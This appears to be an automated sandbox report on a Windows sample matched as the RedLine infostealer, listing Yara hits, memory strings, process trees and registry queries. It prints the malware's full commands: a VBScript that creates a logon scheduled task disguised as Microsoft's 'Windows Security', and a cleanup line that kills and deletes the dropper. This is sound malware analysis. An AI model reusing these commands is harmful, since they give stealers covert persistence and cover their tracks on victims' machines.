Source: 18561381.exe, 00000000.00000002.407031152.000000000292C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: default-src 'self'; script-src 'self' 'unsafe-eval' 'unsafe-inline' 'nonce-MjM0LDU2LDI0NSwxMTIsMjM0LDI0OSwzNiw5MA==' https://cdn.discordapp.com/animations/ https://www.gstatic.com/recaptcha/ https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/ https://.hcaptcha.com https://hcaptcha.com https://js.stripe.com https://js.braintreegateway.com https://assets.braintreegateway.com https://www.paypalobjects.com https://checkout.paypal.com; style-src 'self' 'unsafe-inline' https://cdn.discordapp.com https://.hcaptcha.com https://hcaptcha.com; img-src 'self' blob: data: https://.discordapp.net https://.discordapp.com https://.discord.com https://i.scdn.co https://i.ytimg.com https://i.imgur.com https://.gyfcat.com https://media.tenor.co https://media.tenor.com https://c.tenor.com https://.youtube.com https://.giphy.com https://static-cdn.jtvnw.net https://pbs.twimg.com https://assets.braintreegateway.com https://checkout.paypal.com; font-src 'self' https://fonts.gstatic.com; connect-src 'self' https://status.discordapp.com https://status.discord.com https://support.discordapp.com https://support.discord.com https://discordapp.com https://discord.com https://cdn.discordapp.com https://media.discordapp.net https://router.discordapp.net wss://.discord.gg https://best.discord.media https://latency.discord.media wss://.discord.media wss://dealer.spotify.com https://api.spotify.com https://sentry.io https://api.twitch.tv https://api.stripe.com https://api.braintreegateway.com https://client-analytics.braintreegateway.com https://origin-analytics-prod.production.braintree-api.com https://payments.braintree-api.com https://www.googleapis.com https://.algolianet.com https://.hcaptcha.com https://hcaptcha.com https://.algolia.net ws://127.0.0.1: http://127.0.0.1:; media-src 'self' blob: https://.discordapp.net https://.discord.com https://.discordapp.com https://.youtube.com https://streamable.com https://vid.me https://.gfycat.com https://twitter.com https://oddshot.akamaized.net https://.giphy.com https://i.imgur.com https://media.tenor.co https://media.tenor.com https://c.tenor.com; frame-src https://discordapp.com/domain-migration discord: https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/ https://.hcaptcha.com https://hcaptcha.com https://js.stripe.com https://hooks.stripe.com https://checkout.paypal.com https://assets.braintreegateway.com https://player.twitch.tv https://clips.twitch.tv/embed https://player.vimeo.com https://www.youtube.com/embed/ https://twitter.com/i/videos/ https://www.funimation.com/player/ https://www.redditmedia.com/mediaembed/ https://open.spotify.com/embed/ https://w.soundcloud.com/player/ https://audius.co/embed/ https://.watchanimeattheoffice.com https://localhost: https://*.discordsays.com; child-src 'self' https://assets.braintreegateway.com https://checkout.paypal.com; equals www.twitter.com (Twitter)
Source: 18561381.exe, 00000000.00000002.407031152.000000000292C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: default-src 'self'; script-src 'self' 'unsafe-eval' 'unsafe-inline' 'nonce-MjM0LDU2LDI0NSwxMTIsMjM0LDI0OSwzNiw5MA==' https://cdn.discordapp.com/animations/ https://www.gstatic.com/recaptcha/ https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/ https://.hcaptcha.com https://hcaptcha.com https://js.stripe.com https://js.braintreegateway.com https://assets.braintreegateway.com https://www.paypalobjects.com https://checkout.paypal.com; style-src 'self' 'unsafe-inline' https://cdn.discordapp.com https://.hcaptcha.com https://hcaptcha.com; img-src 'self' blob: data: https://.discordapp.net https://.discordapp.com https://.discord.com https://i.scdn.co https://i.ytimg.com https://i.imgur.com https://.gyfcat.com https://media.tenor.co https://media.tenor.com https://c.tenor.com https://.youtube.com https://.giphy.com https://static-cdn.jtvnw.net https://pbs.twimg.com https://assets.braintreegateway.com https://checkout.paypal.com; font-src 'self' https://fonts.gstatic.com; connect-src 'self' https://status.discordapp.com https://status.discord.com https://support.discordapp.com https://support.discord.com https://discordapp.com https://discord.com https://cdn.discordapp.com https://media.discordapp.net https://router.discordapp.net wss://.discord.gg https://best.discord.media https://latency.discord.media wss://.discord.media wss://dealer.spotify.com https://api.spotify.com https://sentry.io https://api.twitch.tv https://api.stripe.com https://api.braintreegateway.com https://client-analytics.braintreegateway.com https://origin-analytics-prod.production.braintree-api.com https://payments.braintree-api.com https://www.googleapis.com https://.algolianet.com https://.hcaptcha.com https://hcaptcha.com https://.algolia.net ws://127.0.0.1: http://127.0.0.1:; media-src 'self' blob: https://.discordapp.net https://.discord.com https://.discordapp.com https://.youtube.com https://streamable.com https://vid.me https://.gfycat.com https://twitter.com https://oddshot.akamaized.net https://.giphy.com https://i.imgur.com https://media.tenor.co https://media.tenor.com https://c.tenor.com; frame-src https://discordapp.com/domain-migration discord: https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/ https://.hcaptcha.com https://hcaptcha.com https://js.stripe.com https://hooks.stripe.com https://checkout.paypal.com https://assets.braintreegateway.com https://player.twitch.tv https://clips.twitch.tv/embed https://player.vimeo.com https://www.youtube.com/embed/ https://twitter.com/i/videos/ https://www.funimation.com/player/ https://www.redditmedia.com/mediaembed/ https://open.spotify.com/embed/ https://w.soundcloud.com/player/ https://audius.co/embed/ https://.watchanimeattheoffice.com https://localhost: https://*.discordsays.com; child-src 'self' https://assets.braintreegateway.com https://checkout.paypal.com; equals www.youtube.com (Youtube)
Source: 18561381.exe, 00000000.00000002.407017576.0000000002928000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: dia wss://dealer.spotify.com https://api.spotify.com https://sentry.io https://api.twitch.tv https://api.stripe.com https://api.braintreegateway.com https://client-analytics.braintreegateway.com https://origin-analytics-prod.production.braintree-api.com https://payments.braintree-api.com https://www.googleapis.com https://.algolianet.com https://.hcaptcha.com https://hcaptcha.com https://.algolia.net ws://127.0.0.1: http://127.0.0.1:; media-src 'self' blob: https://.discordapp.net https://.discord.com https://.discordapp.com https://.youtube.com https://streamable.com https://vid.me https://.gfycat.com https://twitter.com https://oddshot.akamaized.net https://.giphy.com https://i.imgur.com https://media.tenor.co https://media.tenor.com https://c.tenor.com; frame-src https://discordapp.com/domain-migration discord: https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/ https://.hcaptcha.com https://hcaptcha.com https://js.stripe.com https://hooks.stripe.com https://checkout.paypal.com https://assets.braintreegateway.com https://player.twitch.tv https://clips.twitch.tv/embed https://player.vimeo.com https://www.youtube.com/embed/ https://twitter.com/i/videos/ https://www.funimation.com/player/ https://www.redditmedia.com/mediaembed/ https://open.spotify.com/embed/ https://w.soundcloud.com/player/ https://audius.co/embed/ https://.watchanimeattheoffice.com https://localhost: https://*.discordsays.com; child-src 'self' https://assets.braintreegateway.com https://checkout.paypal.com; equals www.twitter.com (Twitter)
Source: 18561381.exe, 00000000.00000002.407017576.0000000002928000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: dia wss://dealer.spotify.com https://api.spotify.com https://sentry.io https://api.twitch.tv https://api.stripe.com https://api.braintreegateway.com https://client-analytics.braintreegateway.com https://origin-analytics-prod.production.braintree-api.com https://payments.braintree-api.com https://www.googleapis.com https://.algolianet.com https://.hcaptcha.com https://hcaptcha.com https://.algolia.net ws://127.0.0.1: http://127.0.0.1:; media-src 'self' blob: https://.discordapp.net https://.discord.com https://.discordapp.com https://.youtube.com https://streamable.com https://vid.me https://.gfycat.com https://twitter.com https://oddshot.akamaized.net https://.giphy.com https://i.imgur.com https://media.tenor.co https://media.tenor.com https://c.tenor.com; frame-src https://discordapp.com/domain-migration discord: https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/ https://.hcaptcha.com https://hcaptcha.com https://js.stripe.com https://hooks.stripe.com https://checkout.paypal.com https://assets.braintreegateway.com https://player.twitch.tv https://clips.twitch.tv/embed https://player.vimeo.com https://www.youtube.com/embed/ https://twitter.com/i/videos/ https://www.funimation.com/player/ https://www.redditmedia.com/mediaembed/ https://open.spotify.com/embed/ https://w.soundcloud.com/player/ https://audius.co/embed/ https://.watchanimeattheoffice.com https://localhost: https://*.discordsays.com; child-src 'self' https://assets.braintreegateway.com https://checkout.paypal.com; equals www.youtube.com (Youtube)
Source: 18561381.exe, 00000000.00000002.405022216.00000000026A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ium PDF Plugin","versions":[{"comment":"Chromium PDF Plugin has no version information.","status":"fully_trusted","version":"0"}]},"divx-player":{"group_name_matcher":"DivX Web Player","help_url":"https://support.google.com/chrome/?p=plugin_divx","lang":"en-US","mime_types":["video/divx","video/x-matroska"],"name":"DivX Web Player","url":"http://download.divx.com/player/divxdotcom/DivXWebPlayerInstaller.exe","versions":[{"status":"requires_authorization","version":"1.4.3.4"}]},"facebook-video-calling":{"group_name_matcher":"Facebook Video","lang":"en-US","mime_types":["application/skypesdk-plugin"],"name":"Facebook Video Calling","url":"https://www.facebook.com/chat/video/videocalldownload.php","versions":[{"comment":"We do not track version information for the Facebook Video Calling Plugin.","status":"requires_authorization","version":"0"}]},"google-chrome-pdf":{"group_name_matcher":"Chrome PDF Viewer","mime_types":[],"name":"Chrome PDF Viewer","versions":[{"comment":"Google Chrome PDF Viewer has no version information.","status":"fully_trusted","version":"0"}]},"google-chrome-pdf-plugin":{"group_name_matcher":"Chrome PDF Plugin","mime_types":[],"name":"Chrome PDF Plugin","versions":[{"comment":"Google Chrome PDF Plugin has no version information.","status":"fully_trusted","version":"0"}]},"google-earth":{"group_name_matcher":"Google Earth","lang":"en-US","mime_types":["application/geplugin"],"name":"Google Earth","url":"http://www.google.com/earth/explore/products/plugin.html","versions":[{"comment":"We do not track version information for the Google Earth Plugin.","status":"requires_authorization","version":"0"}]},"google-talk":{"group_name_matcher":"Google Talk","mime_types":[],"name":"Google Talk","versions":[{"comment":"'Google Talk Plugin' and 'Google Talk Plugin Video Accelerator' use two completely different versioning schemes, so we can't define a minimum version.","status":"requires_authorization","version":"0"}]},"google-update":{"group_name_matcher":"Google Update","mime-types":[],"name":"Google Update","versions":[{"comment":"Google Update plugin is versioned but kept automatically up to date","status":"requires_authorization","version":"0"}]},"ibm-java-runtime-environment":{"group_name_matcher":"IBMJava*","mime_types":["application/x-java-applet","application/x-java-applet;jpi-version=1.7.0_05","application/x-java-applet;version=1.1","application/x-java-applet;version=1.1.1","application/x-java-applet;version=1.1.2","application/x-java-applet;version=1.1.3","application/x-java-applet;version=1.2","application/x-java-applet;version=1.2.1","application/x-java-applet;version=1.2.2","application/x-java-applet;version=1.3","application/x-java-applet;version=1.3.1","application/x-java-applet;version=1.4","application/x-java-applet;version=1.4.1","application/x-java-applet;version=1.4.2","application/x-java-applet;version=1.5","application/x-java-applet;version=1.6","application/x-java-applet;version=1.7","application/x-java
Source: 18561381.exe, 00000000.00000002.405692734.0000000002763000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.407244628.000000000295D000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.404613044.00000000025B1000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.405022216.00000000026A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: l9https://www.facebook.com/chat/video/videocalldownload.php equals www.facebook.com (Facebook)

Source: unknown

HTTPS traffic detected: 162.159.128.233:443 -> 192.168.2.3:49773 version: TLS 1.2

System Summary

Malicious sample detected (through community Yara rule)

Source: 18561381.exe, type: SAMPLE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 0.0.18561381.exe.f0000.0.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 0.2.18561381.exe.f0000.0.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen

PE file contains section with special chars

Source: build.exe.0.dr	Static PE information: section name: X1(u;sB2
Source: Windows Security.exe.16.dr	Static PE information: section name: X1(u;sB2

PE file has nameless sections

Source: build.exe.0.dr	Static PE information: section name:
Source: Windows Security.exe.16.dr	Static PE information: section name:

Source: C:\Users\user\Desktop\18561381.exe	Code function: 0_2_00521160	0_2_00521160
Source: C:\Users\user\Desktop\18561381.exe	Code function: 0_2_00524788	0_2_00524788
Source: C:\Users\user\Desktop\18561381.exe	Code function: 0_2_00520890	0_2_00520890
Source: C:\Users\user\Desktop\18561381.exe	Code function: 0_2_00520548	0_2_00520548
Source: C:\Users\user\Desktop\18561381.exe	Code function: 0_2_00A6EF68	0_2_00A6EF68
Source: C:\Users\user\AppData\Local\Temp\build.exe	Code function: 16_2_00007FFC039A0518	16_2_00007FFC039A0518
Source: C:\Users\user\AppData\Local\Temp\build.exe	Code function: 16_2_00007FFC039A1154	16_2_00007FFC039A1154
Source: C:\Users\user\AppData\Local\Temp\build.exe	Code function: 16_2_00007FFC039A4E90	16_2_00007FFC039A4E90
Source: C:\Users\user\AppData\Local\Temp\build.exe	Code function: 16_2_00007FFC039A2608	16_2_00007FFC039A2608
Source: C:\Users\user\AppData\Local\Temp\build.exe	Code function: 16_2_00007FFC039A2661	16_2_00007FFC039A2661
Source: C:\Users\user\AppData\Roaming\Microsoft\Security\Windows Security.exe	Code function: 26_2_00007FFC039B0518	26_2_00007FFC039B0518
Source: C:\Users\user\AppData\Roaming\Microsoft\Security\Windows Security.exe	Code function: 26_2_00007FFC039B1154	26_2_00007FFC039B1154
Source: C:\Users\user\AppData\Roaming\Microsoft\Security\Windows Security.exe	Code function: 26_2_00007FFC039B4E90	26_2_00007FFC039B4E90
Source: C:\Users\user\AppData\Roaming\Microsoft\Security\Windows Security.exe	Code function: 26_2_00007FFC039B2608	26_2_00007FFC039B2608
Source: C:\Users\user\AppData\Roaming\Microsoft\Security\Windows Security.exe	Code function: 26_2_00007FFC039B2661	26_2_00007FFC039B2661
Source: C:\Users\user\AppData\Roaming\Microsoft\Security\Windows Security.exe	Code function: 35_2_00007FFC039D0518	35_2_00007FFC039D0518
Source: C:\Users\user\AppData\Roaming\Microsoft\Security\Windows Security.exe	Code function: 35_2_00007FFC039D1154	35_2_00007FFC039D1154
Source: C:\Users\user\AppData\Roaming\Microsoft\Security\Windows Security.exe	Code function: 35_2_00007FFC039D4E90	35_2_00007FFC039D4E90
Source: C:\Users\user\AppData\Roaming\Microsoft\Security\Windows Security.exe	Code function: 35_2_00007FFC039D2608	35_2_00007FFC039D2608
Source: C:\Users\user\AppData\Roaming\Microsoft\Security\Windows Security.exe	Code function: 35_2_00007FFC039D2661	35_2_00007FFC039D2661

Source: C:\Users\user\Desktop\18561381.exe

Process Stats: CPU usage > 98%

Source: C:\Windows\System32\svchost.exe	Section loaded: windowscoredeviceinfo.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: windowscoredeviceinfo.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: windowscoredeviceinfo.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: windowscoredeviceinfo.dll	Jump to behavior

Source: 18561381.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Source: 18561381.exe, type: SAMPLE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 0.0.18561381.exe.f0000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 0.2.18561381.exe.f0000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 18561381.exe, 00000000.00000002.401806812.000000000010C000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameFlake.exe4 vs 18561381.exe
Source: 18561381.exe, 00000000.00000002.404613044.00000000025B1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilename vs 18561381.exe
Source: 18561381.exe	Binary or memory string: OriginalFilenameFlake.exe4 vs 18561381.exe

Source: build.exe.0.dr	Static PE information: Section: X1(u;sB2 ZLIB complexity 1.00039573121
Source: Windows Security.exe.16.dr	Static PE information: Section: X1(u;sB2 ZLIB complexity 1.00039573121

Source: 18561381.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\18561381.exe

File created: C:\Users\user\AppData\Local\Yandex

Jump to behavior

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@37/14@4/6

Source: C:\Users\user\Desktop\18561381.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\AppData\Roaming\Microsoft\Security\Windows Security.exe

Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c @echo off & echo const TriggerTypeLogon=9 : const ActionTypeExecutable=0 : const TASK_LOGON_INTERACTIVE_TOKEN=3 : const createOrUpdateTask=6 : Set service=CreateObject("Schedule.Service") : call service.Connect() : Dim rootFolder : Set rootFolder=service.GetFolder("") : Dim taskDefinition : Set taskDefinition=service.NewTask(0) : Dim regInfo : Set regInfo=taskDefinition.RegistrationInfo : regInfo.Author="Microsoft Corporation" : regInfo.Description="Windows Security is a software application that safeguards a system from malware. It was an anti-spyware program built to fight unauthorized access and protect Windows computers from unwanted software." : Dim settings : Set settings=taskDefinition.Settings : settings.StartWhenAvailable=True : settings.ExecutionTimeLimit="PT0S" : settings.AllowHardTerminate=False : settings.IdleSettings.StopOnIdleEnd=False : settings.DisallowStartIfOnBatteries=False : settings.StopIfGoingOnBatteries=False : Dim triggers : Set triggers=taskDefinition.Triggers : Dim trigger : Set trigger=triggers.Create(TriggerTypeLogon) : userId=CreateObject("WScript.Shell").ExpandEnvironmentStrings("%USERNAME%") : trigger.Id="LogonTriggerId" : trigger.UserId=userId : Dim Action : Set Action=taskDefinition.Actions.Create(ActionTypeExecutable) : Action.Path="C:\Users\user\AppData\Roaming\Microsoft\Security\Windows Security.exe" : taskDefinition.Principal.UserId=userId : taskDefinition.Principal.LogonType=TASK_LOGON_INTERACTIVE_TOKEN : call rootFolder.RegisterTaskDefinition("Windows Security", taskDefinition, createOrUpdateTask, Empty, Empty, TASK_LOGON_INTERACTIVE_TOKEN) > C:\Users\user\AppData\Local\Temp\tmpBD82.vbs & cscript //nologo C:\Users\user\AppData\Local\Temp\tmpBD82.vbs & del C:\Users\user\AppData\Local\Temp\tmpBD82.vbs /f /q & exit

Source: 18561381.exe	Virustotal: Detection: 57%
Source: 18561381.exe	ReversingLabs: Detection: 76%

Source: C:\Users\user\Desktop\18561381.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\18561381.exe "C:\Users\user\Desktop\18561381.exe"
Source: unknown	Process created: C:\Windows\System32\svchost.exe c:\windows\system32\svchost.exe -k networkservice -p -s DoSvc
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k NetworkService -p
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
Source: unknown	Process created: C:\Windows\System32\SgrmBroker.exe C:\Windows\system32\SgrmBroker.exe
Source: unknown	Process created: C:\Windows\System32\svchost.exe c:\windows\system32\svchost.exe -k localservicenetworkrestricted -p -s wscsvc
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
Source: C:\Users\user\Desktop\18561381.exe	Process created: C:\Users\user\AppData\Local\Temp\build.exe "C:\Users\user\AppData\Local\Temp\build.exe"
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\system32\svchost.exe -k wusvcs -p -s WaaSMedicSvc
Source: C:\Windows\System32\svchost.exe	Process created: C:\Program Files\Windows Defender\MpCmdRun.exe "C:\Program Files\Windows Defender\mpcmdrun.exe" -wdenable
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\build.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\System32\cmd.exe" /c "C:\Users\user\AppData\Roaming\Microsoft\Security\Windows Security.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Roaming\Microsoft\Security\Windows Security.exe C:\Users\user\AppData\Roaming\Microsoft\Security\Windows Security.exe
Source: C:\Users\user\AppData\Local\Temp\build.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c taskkill /F /PID 2856 & powershell -command "$ErrorActionPreference= 'silentlycontinue'; (Get-WmiObject Win32_Process \| Where-Object { $_.Path.StartsWith('C:\Users\user\AppData\Local\Temp\build.exe') }).Terminate()" & timeout 3 > nul & del /F /S /Q /A "C:\Users\user\AppData\Local\Temp\build.exe" & exit
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /PID 2856
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -command "$ErrorActionPreference= 'silentlycontinue'; (Get-WmiObject Win32_Process \| Where-Object { $_.Path.StartsWith('C:\Users\user\AppData\Local\Temp\build.exe') }).Terminate()"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout 3
Source: C:\Users\user\AppData\Roaming\Microsoft\Security\Windows Security.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c @echo off & echo const TriggerTypeLogon=9 : const ActionTypeExecutable=0 : const TASK_LOGON_INTERACTIVE_TOKEN=3 : const createOrUpdateTask=6 : Set service=CreateObject("Schedule.Service") : call service.Connect() : Dim rootFolder : Set rootFolder=service.GetFolder("") : Dim taskDefinition : Set taskDefinition=service.NewTask(0) : Dim regInfo : Set regInfo=taskDefinition.RegistrationInfo : regInfo.Author="Microsoft Corporation" : regInfo.Description="Windows Security is a software application that safeguards a system from malware. It was an anti-spyware program built to fight unauthorized access and protect Windows computers from unwanted software." : Dim settings : Set settings=taskDefinition.Settings : settings.StartWhenAvailable=True : settings.ExecutionTimeLimit="PT0S" : settings.AllowHardTerminate=False : settings.IdleSettings.StopOnIdleEnd=False : settings.DisallowStartIfOnBatteries=False : settings.StopIfGoingOnBatteries=False : Dim triggers : Set triggers=taskDefinition.Triggers : Dim trigger : Set trigger=triggers.Create(TriggerTypeLogon) : userId=CreateObject("WScript.Shell").ExpandEnvironmentStrings("%USERNAME%") : trigger.Id="LogonTriggerId" : trigger.UserId=userId : Dim Action : Set Action=taskDefinition.Actions.Create(ActionTypeExecutable) : Action.Path="C:\Users\user\AppData\Roaming\Microsoft\Security\Windows Security.exe" : taskDefinition.Principal.UserId=userId : taskDefinition.Principal.LogonType=TASK_LOGON_INTERACTIVE_TOKEN : call rootFolder.RegisterTaskDefinition("Windows Security", taskDefinition, createOrUpdateTask, Empty, Empty, TASK_LOGON_INTERACTIVE_TOKEN) > C:\Users\user\AppData\Local\Temp\tmpBD82.vbs & cscript //nologo C:\Users\user\AppData\Local\Temp\tmpBD82.vbs & del C:\Users\user\AppData\Local\Temp\tmpBD82.vbs /f /q & exit
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cscript.exe cscript //nologo C:\Users\user\AppData\Local\Temp\tmpBD82.vbs
Source: unknown	Process created: C:\Users\user\AppData\Roaming\Microsoft\Security\Windows Security.exe C:\Users\user\AppData\Roaming\Microsoft\Security\Windows Security.exe
Source: C:\Users\user\Desktop\18561381.exe	Process created: C:\Users\user\AppData\Local\Temp\build.exe "C:\Users\user\AppData\Local\Temp\build.exe"	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Program Files\Windows Defender\MpCmdRun.exe "C:\Program Files\Windows Defender\mpcmdrun.exe" -wdenable	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\System32\cmd.exe" /c "C:\Users\user\AppData\Roaming\Microsoft\Security\Windows Security.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c taskkill /F /PID 2856 & powershell -command "$ErrorActionPreference= 'silentlycontinue'; (Get-WmiObject Win32_Process \| Where-Object { $_.Path.StartsWith('C:\Users\user\AppData\Local\Temp\build.exe') }).Terminate()" & timeout 3 > nul & del /F /S /Q /A "C:\Users\user\AppData\Local\Temp\build.exe" & exit	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Roaming\Microsoft\Security\Windows Security.exe C:\Users\user\AppData\Roaming\Microsoft\Security\Windows Security.exe	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Security\Windows Security.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c @echo off & echo const TriggerTypeLogon=9 : const ActionTypeExecutable=0 : const TASK_LOGON_INTERACTIVE_TOKEN=3 : const createOrUpdateTask=6 : Set service=CreateObject("Schedule.Service") : call service.Connect() : Dim rootFolder : Set rootFolder=service.GetFolder("") : Dim taskDefinition : Set taskDefinition=service.NewTask(0) : Dim regInfo : Set regInfo=taskDefinition.RegistrationInfo : regInfo.Author="Microsoft Corporation" : regInfo.Description="Windows Security is a software application that safeguards a system from malware. It was an anti-spyware program built to fight unauthorized access and protect Windows computers from unwanted software." : Dim settings : Set settings=taskDefinition.Settings : settings.StartWhenAvailable=True : settings.ExecutionTimeLimit="PT0S" : settings.AllowHardTerminate=False : settings.IdleSettings.StopOnIdleEnd=False : settings.DisallowStartIfOnBatteries=False : settings.StopIfGoingOnBatteries=False : Dim triggers : Set triggers=taskDefinition.Triggers : Dim trigger : Set trigger=triggers.Create(TriggerTypeLogon) : userId=CreateObject("WScript.Shell").ExpandEnvironmentStrings("%USERNAME%") : trigger.Id="LogonTriggerId" : trigger.UserId=userId : Dim Action : Set Action=taskDefinition.Actions.Create(ActionTypeExecutable) : Action.Path="C:\Users\user\AppData\Roaming\Microsoft\Security\Windows Security.exe" : taskDefinition.Principal.UserId=userId : taskDefinition.Principal.LogonType=TASK_LOGON_INTERACTIVE_TOKEN : call rootFolder.RegisterTaskDefinition("Windows Security", taskDefinition, createOrUpdateTask, Empty, Empty, TASK_LOGON_INTERACTIVE_TOKEN) > C:\Users\user\AppData\Local\Temp\tmpBD82.vbs & cscript //nologo C:\Users\user\AppData\Local\Temp\tmpBD82.vbs & del C:\Users\user\AppData\Local\Temp\tmpBD82.vbs /f /q & exit	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /PID 2856
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -command "$ErrorActionPreference= 'silentlycontinue'; (Get-WmiObject Win32_Process \| Where-Object { $_.Path.StartsWith('C:\Users\user\AppData\Local\Temp\build.exe') }).Terminate()"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout 3
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cscript.exe cscript //nologo C:\Users\user\AppData\Local\Temp\tmpBD82.vbs

Source: C:\Users\user\Desktop\18561381.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}\InprocServer32

Jump to behavior

Source: C:\Users\user\Desktop\18561381.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process Where SessionId='1'
Source: C:\Users\user\Desktop\18561381.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( ProcessId = 2856)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_Process

Source: C:\Users\user\Desktop\18561381.exe

File created: C:\Users\user\AppData\Local\Temp\build.exe

Jump to behavior

Source: C:\Users\user\Desktop\18561381.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll	Jump to behavior
